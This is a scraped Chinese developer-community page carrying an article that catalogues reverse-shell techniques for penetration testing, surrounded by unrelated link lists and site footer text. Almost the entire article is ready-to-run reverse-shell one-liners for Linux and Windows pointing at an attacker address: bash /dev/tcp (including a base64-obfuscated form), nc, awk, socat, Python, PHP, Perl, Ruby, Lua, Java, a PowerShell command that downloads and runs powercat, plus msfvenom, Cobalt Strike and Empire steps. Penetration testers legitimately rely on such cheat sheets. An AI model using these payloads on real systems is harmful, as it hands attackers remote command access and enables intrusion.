相关文章推荐
调皮的小笼包  ·  辽宁日报·  1 周前    · 
从未表白的电池  ·  上海市人民政府关于印发《上海市落实〈全面对接 ...·  1 年前    · 
失眠的烤红薯  ·  【步非烟中文音声】从小到大最疼我的就是舅妈_ ...·  1 年前    · 
销魂的香菜  ·  野良神第三季还会出吗?_百度知道·  1 年前    · 
听话的猴子  ·  美国四大电影制片厂排行榜-美国电影工厂有哪些 ...·  1 年前    · 
Code  ›  反弹shell的各种姿势开发者社区
shell 软件 socket
https://cloud.tencent.com/developer/article/1680591
冷冷的小笼包
2 年前
作者头像
Bypass
0 篇文章

反弹shell的各种姿势

前往专栏
腾讯云
开发者社区
文档 意见反馈 控制台
首页
学习
活动
专区
工具
TVP
文章/答案/技术大牛
发布
首页
学习
活动
专区
工具
TVP
返回腾讯云官网
社区首页 > 专栏 > Bypass > 正文

反弹shell的各种姿势

发布 于 2020-08-17 15:00:23
1.7K 0
举报

在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。

反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。本文所有姿势整理自网络,并基于同一个假设的前提下完成测试和验证。(假设:攻击者主机为:192.168.99.242,本地监听1234端口,如有特殊情况以下会备注说明。)


Linux 反弹shell

姿势一:bash反弹

bash -i >& /dev/tcp/192.168.99.242/1234 0>&1
base64版:bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

其他版本:

exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5;done
exec /bin/sh 0</dev/tcp/192.168.99.242/1234 1>&0 2>&0

姿势二:nc反弹

nc -e /bin/bash 192.168.99.242 1234

姿势三:awk反弹

awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

姿势四:telnet反弹

备注:需要在攻击主机上分别监听1234和4321端口,执行反弹shell命令后,在1234终端输入命令,4321查看命令执行后的结果。

telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321

姿势五:socat反弹

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234

姿势六:Python反弹

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

姿势七:PHP反弹

php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

姿势八:Perl反弹

perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

姿势九:Ruby反弹

ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

姿势十:Lua反弹

lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

姿势十一:JAVA反弹

public class Revs {
    * @param args
    * @throws Exception 
public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
}

保存为Revs.java文件,编译执行,成功反弹shell。

javac Revs.java 
java Revs
Windows反弹shell

姿势一:nc反弹

netcat 下载:https://eternallybored.org/misc/netcat/
服务端反弹:nc 192.168.99.242 1234 -e c:\windows\system32\cmd.exe

姿势二:powershell反弹

powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。

PS C:\WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd

下载到目标机器本地执行:

PS C:\WWW> Import-Module ./powercat.ps1
PS C:\WWW> powercat -c 192.168.99.242 -p 1234 -e cmd

姿势三:MSF反弹shell

使用msfvenom生成相关Payload

msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234

姿势四:Cobalt strike反弹shell

1、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。
2、生成payload:点击Attacks——>Packages——>Windows Executable,保存文件位置。
3、目标机执行powershell payload

姿势五:Empire反弹shell

usestager windows/launcher_vbs
 
推荐文章
调皮的小笼包  ·  辽宁日报
1 周前
从未表白的电池  ·  上海市人民政府关于印发《上海市落实〈全面对接国际高标准经贸规则推进中国(上海)自由贸易试验区高水平制度型开放总体方案〉的实施方案》的通知
1 年前
失眠的烤红薯  ·  【步非烟中文音声】从小到大最疼我的就是舅妈_哔哩哔哩_bilibili
1 年前
销魂的香菜  ·  野良神第三季还会出吗?_百度知道
1 年前
听话的猴子  ·  美国四大电影制片厂排行榜-美国电影工厂有哪些-排行榜123网
1 年前
今天看啥   ·   Py中国   ·   codingpro   ·   小百科   ·   link之家   ·   卧龙AI搜索
删除内容请联系邮箱 2879853325@qq.com
Code - 代码工具平台
© 2024 ~ 沪ICP备11025650号